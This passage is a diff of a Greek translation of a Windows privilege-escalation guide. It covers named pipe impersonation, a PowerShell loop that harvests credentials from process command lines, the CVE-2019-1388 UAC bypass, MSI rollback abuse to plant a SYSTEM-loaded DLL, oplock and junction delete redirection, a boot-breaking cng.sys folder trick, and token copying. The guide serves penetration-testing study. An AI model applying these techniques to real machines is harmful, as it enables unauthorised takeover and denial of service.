ορισμένους ως **named pipe server** και **named pipe client**. +Τα Windows παρέχουν μια λειτουργία που ονομάζεται **Named Pipes**, που επιτρέπει σε ανεξάρτητες διεργασίες να μοιράζονται δεδομένα, ακόμη και σε διαφορετικά δίκτυα. Αυτό μοιάζει με αρχιτεκτονική client/server, με ρόλους ορισμένους ως **named pipe server** και **named pipe client**. -Όταν δεδομένα αποστέλλονται μέσω ενός pipe από έναν **client**, ο **server** που δημιούργησε το pipe έχει τη δυνατότητα να **λάβει την ταυτότητα** του **client**, υπό την προϋπόθεση ότι διαθέτει τα απαραίτητα δικαιώματα **SeImpersonate**. Ο εντοπισμός μιας **προνομιούχας διεργασίας** που επικοινωνεί μέσω ενός pipe που μπορείτε να μιμηθείτε δίνει την ευκαιρία να **αποκτήσετε υψηλότερα προνόμια** υιοθετώντας την ταυτότητα αυτής της διεργασίας όταν αυτή αλληλεπιδρά με το pipe που έχετε δημιουργήσει. Για οδηγίες εκτέλεσης μιας τέτοιας επίθεσης, χρήσιμοι οδηγοί είναι διαθέσιμοι [**εδώ**](named-pipe-client-impersonation.md) και [**εδώ**](#from-high-integrity-to-system). +Όταν δεδομένα αποστέλλονται μέσω μιας pipe από έναν **client**, ο **server** που δημιούργησε την pipe έχει τη δυνατότητα να **υποδυθεί την ταυτότητα** του **client**, υπό την προϋπόθεση ότι διαθέτει τα απαραίτητα δικαιώματα **SeImpersonate**. Ο εντοπισμός μιας **privileged process** που επικοινωνεί μέσω μιας pipe που μπορείτε να μιμηθείτε παρέχει την ευκαιρία να **αποκτήσετε υψηλότερα προνόμια** υιοθετώντας την ταυτότητα αυτής της διεργασίας μόλις αλληλεπιδράσει με την pipe που δημιουργήσατε. Για οδηγίες εκτέλεσης τέτοιας επίθεσης, χρήσιμοι οδηγοί βρίσκονται [**εδώ**](named-pipe-client-impersonation.md) και [**εδώ**](#from-high-integrity-to-system). -Επίσης, το ακόλουθο εργαλείο επιτρέπει να **παρεμποδίσετε την επικοινωνία ενός named pipe με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει την καταγραφή και προβολή όλων των pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Επίσης το ακόλουθο εργαλείο επιτρέπει να **παρακολουθήσετε (intercept) μια named pipe επικοινωνία με ένα εργαλείο όπως το burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **και αυτό το εργαλείο επιτρέπει να καταγράψετε και να δείτε όλες τις pipes για να βρείτε privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Διάφορα +## Misc -### Επεκτάσεις αρχείων που μπορούν να εκτελέσουν κώδικα στα Windows +### File Extensions that could execute stuff in Windows Δείτε τη σελίδα **[https://filesec.io/](https://filesec.io/)** -### **Παρακολούθηση γραμμών εντολών για κωδικούς πρόσβασης** +### **Monitoring Command Lines for passwords** -Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένες εργασίες ή άλλες διεργασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το παρακάτω script καταγράφει τις γραμμές εντολών των διεργασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας οποιεσδήποτε διαφορές. +Όταν αποκτάτε ένα shell ως χρήστης, μπορεί να υπάρχουν προγραμματισμένες εργασίες ή άλλες διεργασίες που εκτελούνται και **περνούν διαπιστευτήρια στη γραμμή εντολών**. Το script παρακάτω συλλαμβάνει τις γραμμές εντολών των διεργασιών κάθε δύο δευτερόλεπτα και συγκρίνει την τρέχουσα κατάσταση με την προηγούμενη, εμφανίζοντας τυχόν διαφορές. ```bash while($true) { @@ -1296,15 +1339,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Κλοπή κωδικών από διεργασίες +## Stealing passwords from processes -## Από Low Priv User σε NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Εάν έχετε πρόσβαση στη γραφική διεπαφή (via console or RDP) και το UAC είναι ενεργοποιημένο, σε μερικές εκδόσεις του Microsoft Windows είναι δυνατό να τρέξετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη. +Εάν έχετε πρόσβαση στη γραφική διεπαφή (μέσω console ή RDP) και το UAC είναι ενεργοποιημένο, σε ορισμένες εκδόσεις του Microsoft Windows είναι δυνατό να εκτελέσετε ένα τερματικό ή οποιαδήποτε άλλη διεργασία όπως "NT\AUTHORITY SYSTEM" από έναν μη προνομιούχο χρήστη. -Αυτό επιτρέπει να escalate privileges και να bypass το UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν χρειάζεται να εγκαταστήσετε τίποτα και το binary που χρησιμοποιείται κατά τη διαδικασία είναι υπογεγραμμένο και εκδομένο από τη Microsoft. +Αυτό καθιστά δυνατή την κλιμάκωση προνομίων και την παράκαμψη του UAC ταυτόχρονα με την ίδια ευπάθεια. Επιπλέον, δεν υπάρχει ανάγκη να εγκαταστήσετε τίποτα και το binary που χρησιμοποιείται κατά τη διαδικασία είναι υπογεγραμμένο και εκδίδεται από τη Microsoft. -Μερικά από τα επηρεασμένα συστήματα είναι τα εξής: +Κάποια από τα επηρεαζόμενα συστήματα είναι τα εξής: ``` SERVER ====== @@ -1344,20 +1387,20 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -Έχετε όλα τα απαραίτητα αρχεία και πληροφορίες στο ακόλουθο αποθετήριο GitHub: +You have all the necessary files and information in the following GitHub repository: https://github.com/jas502n/CVE-2019-1388 ## Από Administrator Medium σε High Integrity Level / UAC Bypass -Διαβάστε αυτό για να μάθετε σχετικά με τα Integrity Levels: +Διάβασε αυτό για να μάθεις περί των Integrity Levels: {{#ref}} integrity-levels.md {{#endref}} -Στη συνέχεια διαβάστε αυτό για να μάθετε σχετικά με το UAC και τα UAC bypasses: +Έπειτα διάβασε αυτό για να μάθεις για το UAC και τις παρακάμψεις UAC: {{#ref}} @@ -1366,132 +1409,132 @@ integrity-levels.md ## Από Arbitrary Folder Delete/Move/Rename σε SYSTEM EoP -Η τεχνική που περιγράφεται [**σε αυτό το blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) με κώδικα exploit [**διαθέσιμο εδώ**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Η τεχνική που περιγράφεται [**σε αυτό το blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) με έναν exploit κώδικα [**διαθέσιμο εδώ**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Η επίθεση βασικά συνίσταται στην κατάχρηση του rollback feature του Windows Installer για να αντικαταστήσει νόμιμα αρχεία με κακόβουλα κατά τη διαδικασία απεγκατάστασης. Για αυτό ο attacker πρέπει να δημιουργήσει ένα **κακόβουλο MSI installer** που θα χρησιμοποιηθεί για να καταλάβει τον φάκελο `C:\Config.Msi`, ο οποίος στη συνέχεια θα χρησιμοποιηθεί από τον Windows Installer για την αποθήκευση rollback αρχείων κατά την απεγκατάσταση άλλων MSI πακέτων, όπου τα rollback αρχεία θα είχαν τροποποιηθεί ώστε να περιέχουν το κακόβουλο payload. +Η επίθεση βασικά συνίσταται στην κατάχρηση της rollback λειτουργίας του Windows Installer για να αντικαταστήσει νόμιμα αρχεία με κακόβουλα κατά τη διαδικασία απεγκατάστασης. Για αυτό ο attacker χρειάζεται να δημιουργήσει ένα **κακόβουλο MSI installer** που θα χρησιμοποιηθεί για να καταλάβει τον φάκελο `C:\Config.Msi`, ο οποίος αργότερα θα χρησιμοποιηθεί από τον Windows Installer για να αποθηκεύσει αρχεία rollback κατά την απεγκατάσταση άλλων MSI πακέτων όπου τα αρχεία rollback θα είχαν τροποποιηθεί ώστε να περιέχουν το κακόβουλο payload. Η συνοπτική τεχνική είναι η εξής: -1. **Stage 1 – Προετοιμασία για το Hijack (αφήστε το `C:\Config.Msi` κενό)** +1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** -- Step 1: Install the MSI -- Δημιουργήστε ένα `.msi` που εγκαθιστά ένα αβλαβές αρχείο (π.χ., `dummy.txt`) σε έναν εγγράψιμο φάκελο (`TARGETDIR`). -- Επισημάνετε τον installer ως **"UAC Compliant"**, ώστε ένας **non-admin user** να μπορεί να το τρέξει. -- Κρατήστε ένα **handle** ανοιχτό στο αρχείο μετά την εγκατάσταση. +- Βήμα 1: Εγκατάσταση του MSI +- Δημιούργησε ένα `.msi` που εγκαθιστά ένα ακίνδυνο αρχείο (π.χ., `dummy.txt`) σε έναν εγγράψιμο φάκελο (`TARGETDIR`). +- Σήμανε τον installer ως **"UAC Compliant"**, ώστε ένας **χρήστης χωρίς δικαιώματα διαχειριστή** να μπορεί να το τρέξει. +- Κράτησε ένα **handle** ανοιχτό στο αρχείο μετά την εγκατάσταση. -- Step 2: Begin Uninstall -- Απεγκαταστήστε το ίδιο `.msi`. -- Η διαδικασία απεγκατάστασης αρχίζει να μετακινεί αρχεία στο `C:\Config.Msi` και να τα μετονομάζει σε `.rbf` αρχεία (rollback backups). -- **Poll the open file handle** χρησιμοποιώντας `GetFinalPathNameByHandle` για να ανιχνεύσετε πότε το αρχείο γίνεται `C:\Config.Msi\.rbf`. +- Βήμα 2: Ξεκίνημα της απεγκατάστασης +- Απεγκατάστησε το ίδιο `.msi`. +- Η διαδικασία απεγκατάστασης ξεκινά να μετακινεί αρχεία στο `C:\Config.Msi` και να τα μετονομάζει σε αρχεία `.rbf` (rollback backups). +- **Πόλλαρε (poll) το ανοιχτό handle αρχείου** χρησιμοποιώντας `GetFinalPathNameByHandle` για να εντοπίσεις πότε το αρχείο γίνεται `C:\Config.Msi\.rbf`. -- Step 3: Custom Syncing -- Το `.msi` περιλαμβάνει μια **custom uninstall action (`SyncOnRbfWritten`)** που: -- Σηματοδοτεί όταν έχει γραφτεί το `.rbf`. -- Έπειτα **περιμένει** σε ένα άλλο event πριν συνεχίσει την απεγκατάσταση. +- Βήμα 3: Προσαρμοσμένος συγχρονισμός +- Το `.msi` περιλαμβάνει μια **προσαρμοσμένη uninstall action (`SyncOnRbfWritten`)** που: +- Στέλνει σήμα όταν το `.rbf` έχει γραφτεί. +- Έπειτα **περιμένει** για ένα άλλο event πριν συνεχίσει την απεγκατάσταση. -- Step 4: Block Deletion of `.rbf` -- Όταν ληφθεί το σήμα, **ανοίξτε το `.rbf` αρχείο** χωρίς `FILE_SHARE_DELETE` — αυτό **εμποδίζει τη διαγραφή του**. -- Έπειτα **στείλτε πίσω σήμα** ώστε η απεγκατάσταση να τελειώσει. -- Ο Windows Installer αποτυγχάνει να διαγράψει το `.rbf`, και επειδή δεν μπορεί να διαγράψει όλα τα περιεχόμενα, **το `C:\Config.Msi` δεν αφαιρείται**. +- Βήμα 4: Μπλόκαρε τη διαγραφή του `.rbf` +- Όταν λάβεις το σήμα, **άνοιξε το `.rbf` αρχείο** χωρίς `FILE_SHARE_DELETE` — αυτό **εμποδίζει τη διαγραφή του**. +- Έπειτα **στείλε πίσω σήμα** ώστε η απεγκατάσταση να ολοκληρωθεί. +- Ο Windows Installer αποτυγχάνει να διαγράψει το `.rbf`, και επειδή δεν μπορεί να διαγράψει όλα τα περιεχόμενα, **ο φάκελος `C:\Config.Msi` δεν αφαιρείται**. -- Step 5: Manually Delete `.rbf` -- Εσείς (ο attacker) διαγράφετε το `.rbf` χειροκίνητα. -- Τώρα **το `C:\Config.Msi` είναι κενό**, έτοιμο να καταληφθεί. +- Βήμα 5: Διαγραφή του `.rbf` με το χέρι +- Εσύ (ο attacker) διαγράφεις το `.rbf` χειροκίνητα. +- Τώρα **το `C:\Config.Msi` είναι κενό**, έτοιμο για hijack. -> Σε αυτό το σημείο, **trigger the SYSTEM-level arbitrary folder delete vulnerability** για να διαγράψετε το `C:\Config.Msi`. +> Σε αυτό το σημείο, **προκάλεσε την ευπάθεια συστήματος σε επίπεδο SYSTEM που επιτρέπει arbitrary folder delete** για να διαγράψεις το `C:\Config.Msi`. -2. **Stage 2 – Αντικατάσταση των Rollback Scripts με Κακόβουλα** +2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** -- Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Επαναδημιουργήστε τον φάκελο `C:\Config.Msi`. -- Ορίστε **αδύναμα DACLs** (π.χ., Everyone:F), και **κρατήστε ένα handle ανοιχτό** με `WRITE_DAC`. +- Βήμα 6: Αναδημιουργία του `C:\Config.Msi` με αδύναμα ACLs +- Αναδημιούργησε τον φάκελο `C:\Config.Msi` ο ίδιος. +- Ορίστε **αδύναμα DACLs** (π.χ., Everyone:F), και **κράτησε ένα handle ανοιχτό** με `WRITE_DAC`. -- Step 7: Run Another Install -- Εγκαταστήστε το `.msi` ξανά, με: -- `TARGETDIR`: Εγγράψιμη τοποθεσία. -- `ERROROUT`: Μια μεταβλητή που προκαλεί σκόπιμα αποτυχία. -- Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να προκαλέσει **rollback** ξανά, το οποίο διαβάζει `.rbs` και `.rbf`. +- Βήμα 7: Τρέξε άλλη εγκατάσταση +- Εγκατέστησε το `.msi` ξανά, με: +- `TARGETDIR`: εγγράψιμη θέση. +- `ERROROUT`: μια μεταβλητή που προκαλεί σκόπιμη αποτυχία. +- Αυτή η εγκατάσταση θα χρησιμοποιηθεί για να ενεργοποιήσει ξανά το **rollback**, που διαβάζει `.rbs` και `.rbf`. -- Step 8: Monitor for `.rbs` -- Χρησιμοποιήστε `ReadDirectoryChangesW` για να παρακολουθείτε το `C:\Config.Msi` μέχρι να εμφανιστεί ένα νέο `.rbs`. -- Επιδιώξτε να καταγράψετε το όνομά του. +- Βήμα 8: Παρακολούθησε για `.rbs` +- Χρησιμοποίησε `ReadDirectoryChangesW` για να παρακολουθείς το `C:\Config.Msi` έως ότου εμφανιστεί ένα νέο `.rbs`. +- Κατέγραψε το όνομα αρχείου του. -- Step 9: Sync Before Rollback -- Το `.msi` περιέχει μια **custom install action (`SyncBeforeRollback`)** που: -- Σηματοδοτεί ένα event όταν δημιουργηθεί το `.rbs`. +- Βήμα 9: Συγχρονισμός πριν το rollback +- Το `.msi` περιέχει μια **προσαρμοσμένη install action (`SyncBeforeRollback`)** που: +- Στέλνει σήμα όταν δημιουργηθεί το `.rbs`. - Έπειτα **περιμένει** πριν συνεχίσει. -- Step 10: Reapply Weak ACL -- Μετά τη λήψη του event `.rbs created`: -- Ο Windows Installer **επαναφέρει ισχυρά ACLs** στο `C:\Config.Msi`. -- Αλλά επειδή εξακολουθείτε να έχετε ένα handle με `WRITE_DAC`, μπορείτε **να επαναφέρετε ξανά τα αδύναμα ACLs**. +- Βήμα 10: Επαναεφαρμογή αδύναμου ACL +- Μετά την παραλαβή του event `(.rbs created)`: +- Ο Windows Installer **επαναεφαρμόζει ισχυρά ACLs** στο `C:\Config.Msi`. +- Αλλά επειδή εσύ κρατάς ακόμη ένα handle με `WRITE_DAC`, μπορείς να **επαναεφαρμόσεις ξανά τα αδύναμα ACLs**. -> Τα ACLs εφαρμόζονται **μόνο κατά το άνοιγμα του handle**, οπότε μπορείτε ακόμα να γράψετε στον φάκελο. +> Τα ACLs εφαρμόζονται **μόνο κατά το άνοιγμα του handle**, οπότε μπορείς ακόμα να γράψεις στον φάκελο. -- Step 11: Drop Fake `.rbs` and `.rbf` -- Επικαλύψτε το `.rbs` αρχείο με ένα **ψεύτικο rollback script** που λέει στα Windows να: -- Επαναφέρει το `.rbf` σας (κακόβουλη DLL) σε μια **προνομιακή τοποθεσία** (π.χ., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Τοποθετήστε το ψεύτικο `.rbf` που περιέχει μια **κακόβουλη SYSTEM-level payload DLL**. +- Βήμα 11: Ρίξε ψεύτικα `.rbs` και `.rbf` +- Επικαλύπτεις το `.rbs` αρχείο με ένα **ψεύτικο rollback script** που λέει στα Windows να: +- Επαναφέρει το `.rbf` σου (κακόβουλο DLL) σε μια **προνομιούχα τοποθεσία** (π.χ., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Τοποθετεί το ψεύτικο `.rbf` σου που περιέχει ένα **κακόβουλο SYSTEM-level payload DLL**. -- Step 12: Trigger the Rollback -- Σηματοδοτήστε το sync event ώστε ο installer να συνεχίσει. -- Μια **type 19 custom action (`ErrorOut`)** έχει ρυθμιστεί να **προκαλέσει σκόπιμα αποτυχία** της εγκατάστασης σε ένα γνωστό σημείο. -- Αυτό προκαλεί την **εκκίνηση του rollback**. +- Βήμα 12: Προκάλεσε το Rollback +- Σήμανε το sync event ώστε ο installer να συνεχίσει. +- Μια **type 19 custom action (`ErrorOut`)** είναι ρυθμισμένη να **προκαλεί σκόπιμα αποτυχία της εγκατάστασης** σε ένα γνωστό σημείο. +- Αυτό προκαλεί την έναρξη του **rollback**. -- Step 13: SYSTEM Installs Your DLL +- Βήμα 13: Το SYSTEM εγκαθιστά το DLL σου - Ο Windows Installer: -- Διαβάζει το κακόβουλο `.rbs` σας. -- Αντιγράφει το `.rbf` DLL σας στην στοχευμένη τοποθεσία. -- Τώρα έχετε την **κακόβουλη DLL σας σε μια διαδρομή που φορτώνεται από το SYSTEM**. +- Διαβάζει το κακόβουλο `.rbs`. +- Αντιγράφει το `.rbf` DLL σου στη στοχευμένη τοποθεσία. +- Τώρα έχεις το **κακόβουλο DLL σε μια διαδρομή που φορτώνεται από το SYSTEM**. -- Final Step: Execute SYSTEM Code -- Τρέξτε ένα αξιόπιστο **auto-elevated binary** (π.χ., `osk.exe`) που φορτώνει τη DLL που καταλάβατε. -- **Boom**: Ο κώδικάς σας εκτελείται **ως SYSTEM**. +- Τελικό Βήμα: Εκτέλεση κώδικα ως SYSTEM +- Τρέξε ένα αξιόπιστο **auto-elevated binary** (π.χ., `osk.exe`) που φορτώνει το DLL που υπέκλεψες. +- **Boom**: Ο κώδικάς σου εκτελείται **ως SYSTEM**. ### Από Arbitrary File Delete/Move/Rename σε SYSTEM EoP -Η βασική MSI rollback τεχνική (η προηγούμενη) υποθέτει ότι μπορείτε να διαγράψετε έναν **ολόκληρο φάκελο** (π.χ., `C:\Config.Msi`). Αλλά τι γίνεται αν η ευπάθειά σας επιτρέπει μόνο **arbitrary file deletion**; +Η κύρια τεχνική rollback του MSI (η προηγούμενη) υποθέτει ότι μπορείς να διαγράψεις έναν **ολόκληρο φάκελο** (π.χ., `C:\Config.Msi`). Αλλά τι γίνεται αν η ευπάθεια σου επιτρέπει μόνο **arbitrary file deletion**; -Μπορείτε να εκμεταλλευτείτε τα **NTFS internals**: κάθε φάκελος έχει ένα κρυφό alternate data stream που ονομάζεται: +Μπορείς να εκμεταλλευτείς τα NTFS internals: κάθε φάκελος έχει ένα κρυφό alternate data stream που ονομάζεται: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` Αυτό το stream αποθηκεύει τα **μεταδεδομένα ευρετηρίου** του φακέλου. -Έτσι, αν **διαγράψετε το `::$INDEX_ALLOCATION` stream** ενός φακέλου, NTFS **αφαιρεί ολόκληρο τον φάκελο** από το σύστημα αρχείων. +Έτσι, αν **διαγράψετε το stream `::$INDEX_ALLOCATION`** ενός φακέλου, το NTFS **αφαιρεί ολόκληρο τον φάκελο** από το σύστημα αρχείων. -Μπορείτε να το κάνετε αυτό χρησιμοποιώντας τα τυπικά APIs διαγραφής αρχείων όπως: +Μπορείτε να το κάνετε χρησιμοποιώντας τυπικά APIs διαγραφής αρχείων όπως: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Παρόλο που καλείς ένα *file* delete API, αυτό **διαγράφει τον ίδιο τον φάκελο**. +> Παρόλο που καλείτε ένα *file* delete API, αυτό **διαγράφει τον ίδιο τον folder**. -### Από τη Διαγραφή Περιεχομένων Φακέλου στο SYSTEM EoP -Τι γίνεται αν το primitive σου δεν σου επιτρέπει να διαγράψεις αυθαίρετα αρχεία/φακέλους, αλλά **σου επιτρέπει τη διαγραφή των *περιεχομένων* ενός φακέλου που ελέγχεται από τον επιτιθέμενο**; +### Από Folder Contents Delete σε SYSTEM EoP +Τι γίνεται αν το primitive σας δεν επιτρέπει να διαγράψετε αυθαίρετα files/folders, αλλά **επιτρέπει τη διαγραφή του *contents* ενός attacker-controlled folder**; -1. Step 1: Δημιούργησε έναν φάκελο-δόλωμα και ένα αρχείο -- Δημιούργησε: `C:\temp\folder1` +1. Βήμα 1: Ρύθμιση bait folder και file +- Δημιουργία: `C:\temp\folder1` - Μέσα σε αυτό: `C:\temp\folder1\file1.txt` -2. Step 2: Τοποθέτησε ένα **oplock** στο `file1.txt` -- Το oplock **παγώνει την εκτέλεση** όταν μια διεργασία με προνόμια προσπαθεί να διαγράψει το `file1.txt`. +2. Βήμα 2: Τοποθετήστε ένα **oplock** στο `file1.txt` +- Το oplock **παγώνει την εκτέλεση** όταν μια privileged process προσπαθεί να διαγράψει `file1.txt`. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` -3. Βήμα 3: Ενεργοποίηση της διαδικασίας SYSTEM (π.χ., `SilentCleanup`) -- Αυτή η διαδικασία σαρώει φακέλους (π.χ., `%TEMP%`) και προσπαθεί να διαγράψει τα περιεχόμενά τους. -- Όταν φτάσει στο `file1.txt`, το **oplock ενεργοποιείται** και παραδίδει τον έλεγχο στο callback σου. +3. Βήμα 3: Εκτέλεση της διεργασίας SYSTEM (π.χ., `SilentCleanup`) +- Αυτή η διεργασία σαρώει φακέλους (π.χ., `%TEMP%`) και προσπαθεί να διαγράψει τα περιεχόμενά τους. +- Όταν φτάσει στο `file1.txt`, το **oplock triggers** και παραδίδει τον έλεγχο στο callback σας. 4. Βήμα 4: Μέσα στο oplock callback – ανακατεύθυνση της διαγραφής -- Επιλογή Α: Μετακίνησε το `file1.txt` αλλού -- Αυτό αδειάζει το folder1 χωρίς να σπάσει το oplock. -- Μην διαγράψεις απευθείας το `file1.txt` — αυτό θα απελευθέρωνε το oplock πρόωρα. +- Επιλογή A: Μετακινήστε το `file1.txt` αλλού +- Αυτό αδειάζει το `folder1` χωρίς να σπάσει το oplock. +- Μην διαγράφετε το `file1.txt` απευθείας — αυτό θα απελευθέρωνε το oplock πρόωρα. -- Επιλογή Β: Μετατροπή του `folder1` σε **junction**: +- Επιλογή B: Μετατρέψτε το `folder1` σε **junction**: ```bash # folder1 is now a junction to \RPC Control (non-filesystem namespace) mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control @@ -1501,11 +1544,11 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Αυτό στοχεύει το εσωτερικό stream του NTFS που αποθηκεύει τα μεταδεδομένα του φακέλου — διαγράφοντάς το, διαγράφεται ο φάκελος. +> Αυτό στοχεύει στο εσωτερικό stream του NTFS που αποθηκεύει τα metadata των φακέλων — η διαγραφή του διαγράφει τον φάκελο. 5. Βήμα 5: Απελευθέρωση του oplock -- Η διεργασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει `file1.txt`. -- Αλλά τώρα, εξαιτίας του junction + symlink, στην πραγματικότητα διαγράφει: +- Η διαδικασία SYSTEM συνεχίζει και προσπαθεί να διαγράψει `file1.txt`. +- Αλλά τώρα, λόγω του junction + symlink, στην πραγματικότητα διαγράφει: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` @@ -1513,56 +1556,56 @@ C:\Config.Msi::$INDEX_ALLOCATION ### Από τη δημιουργία αυθαίρετου φακέλου σε μόνιμο DoS -Εκμεταλλευτείτε ένα primitive που σας επιτρέπει να **δημιουργήσετε έναν αυθαίρετο φάκελο ως SYSTEM/admin** — ακόμη και αν **δεν μπορείτε να γράψετε αρχεία** ή **να ορίσετε αδύναμα δικαιώματα**. +Εκμεταλλευτείτε ένα primitive που σας επιτρέπει να **create an arbitrary folder as SYSTEM/admin** — ακόμα και αν **you can’t write files** ή **set weak permissions**. -Δημιουργήστε έναν **φάκελο** (όχι αρχείο) με το όνομα ενός **κριτικού Windows driver**, π.χ.: +Δημιουργήστε έναν **φάκελο** (όχι ένα **αρχείο**) με το όνομα ενός **critical Windows driver**, π.χ.: ``` C:\Windows\System32\cng.sys ``` -- Αυτή η διαδρομή συνήθως αντιστοιχεί στον kernel-mode driver `cng.sys`. +- Αυτό το μονοπάτι συνήθως αντιστοιχεί στον kernel-mode driver `cng.sys`. - Αν το **δημιουργήσετε εκ των προτέρων ως φάκελο**, τα Windows αποτυγχάνουν να φορτώσουν τον πραγματικό driver κατά την εκκίνηση. -- Στη συνέχεια, τα Windows προσπαθούν να φορτώσουν το `cng.sys` κατά την εκκίνηση. -- Βλέπει το φάκελο, **αποτυγχάνει να επιλύσει τον πραγματικό driver**, και **καταρρέει ή σταματά την εκκίνηση**. -- Δεν υπάρχει **εναλλακτική λύση**, και **καμία ανάκτηση** χωρίς εξωτερική παρέμβαση (π.χ., επισκευή εκκίνησης ή πρόσβαση στο δίσκο). +- Έπειτα, τα Windows προσπαθούν να φορτώσουν το `cng.sys` κατά την εκκίνηση. +- Βλέπει τον φάκελο, **δεν μπορεί να εντοπίσει τον πραγματικό driver**, και **καταρρέει ή διακόπτει την εκκίνηση**. +- Δεν υπάρχει **εναλλακτική λύση**, και **δεν υπάρχει δυνατότητα ανάκτησης** χωρίς εξωτερική παρέμβαση (π.χ., επιδιόρθωση εκκίνησης ή πρόσβαση στο δίσκο). ## **Από High Integrity σε System** ### **Νέα υπηρεσία** -Εάν ήδη τρέχετε σε μια διαδικασία High Integrity, η **διαδρομή προς SYSTEM** μπορεί να είναι απλή απλά **δημιουργώντας και εκτελώντας μία νέα υπηρεσία**: +Αν ήδη τρέχετε σε μια High Integrity διεργασία, η **διαδρομή προς το SYSTEM** μπορεί να είναι εύκολη, απλά δημιουργώντας και εκτελώντας μια νέα υπηρεσία: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Όταν δημιουργείτε ένα service binary βεβαιωθείτε ότι πρόκειται για έγκυρη υπηρεσία ή ότι το binary εκτελεί τις απαραίτητες ενέργειες για να διαρκέσει, καθώς θα τερματιστεί σε 20s αν δεν είναι έγκυρη υπηρεσία. +> Όταν δημιουργείτε ένα service binary βεβαιωθείτε ότι είναι ένα έγκυρο service ή ότι το binary εκτελεί τις απαραίτητες ενέργειες γρήγορα, καθώς θα τερματιστεί σε 20s αν δεν είναι έγκυρο service. ### AlwaysInstallElevated -Από μια High Integrity process μπορείτε να προσπαθήσετε να **ενεργοποιήσετε τις AlwaysInstallElevated καταχωρήσεις μητρώου** και να **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας έναν _**.msi**_ wrapper.\ -[Περισσότερες πληροφορίες για τα κλειδιά μητρώου που εμπλέκονται και πώς να εγκαταστήσετε ένα _.msi_ package εδώ.](#alwaysinstallelevated) +From a High Integrity process you could try to **ενεργοποιήσετε τα AlwaysInstallElevated registry entries** και **εγκαταστήσετε** ένα reverse shell χρησιμοποιώντας ένα _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System -**Μπορείτε** [**να βρείτε τον κώδικα εδώ**](seimpersonate-from-high-to-system.md)**.** +**Μπορείτε** [**find the code here**](seimpersonate-from-high-to-system.md)**.** ### From SeDebug + SeImpersonate to Full Token privileges -Αν έχετε αυτά τα token privileges (πιθανώς θα τα βρείτε ήδη σε μια High Integrity process), θα μπορείτε να **ανοίξετε σχεδόν οποιαδήποτε διαδικασία** (όχι protected processes) με το SeDebug privilege, **να αντιγράψετε το token** της διαδικασίας και να δημιουργήσετε μια **τυχαία διαδικασία με αυτό το token**.\ -Η τεχνική αυτή συνήθως **επιλέγει κάποια διαδικασία που τρέχει ως SYSTEM με όλα τα token privileges** (_ναι, μπορείτε να βρείτε SYSTEM processes χωρίς όλα τα token privileges_).\ -**Μπορείτε να βρείτε ένα** [**παράδειγμα κώδικα που εκτελεί την προτεινόμενη τεχνική εδώ**](sedebug-+-seimpersonate-copy-token.md)**.** +If you have those token privileges (probably you will find this in an already High Integrity process), you will be able to **ανοίξετε σχεδόν οποιαδήποτε process** (not protected processes) με το SeDebug privilege, **αντιγράψετε το token** της διεργασίας, και να δημιουργήσετε μια **arbitrary process με εκείνο το token**.\ +Using this technique is usually **επιλέγεται κάποια process που τρέχει ως SYSTEM με όλα τα token privileges** (_yes, you can find SYSTEM processes without all the token privileges_).\ +**Μπορείτε να βρείτε ένα** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Αυτή η τεχνική χρησιμοποιείται από το meterpreter για escalation στο `getsystem`. Η τεχνική consiste στο **να δημιουργηθεί ένα pipe και μετά να δημιουργηθεί/καταχραστεί μια service για να γράψει σε αυτό το pipe**. Έπειτα, ο **server** που δημιούργησε το pipe χρησιμοποιώντας το **`SeImpersonate`** privilege θα μπορεί να **εξαπατήσει (impersonate) το token** του pipe client (της service) 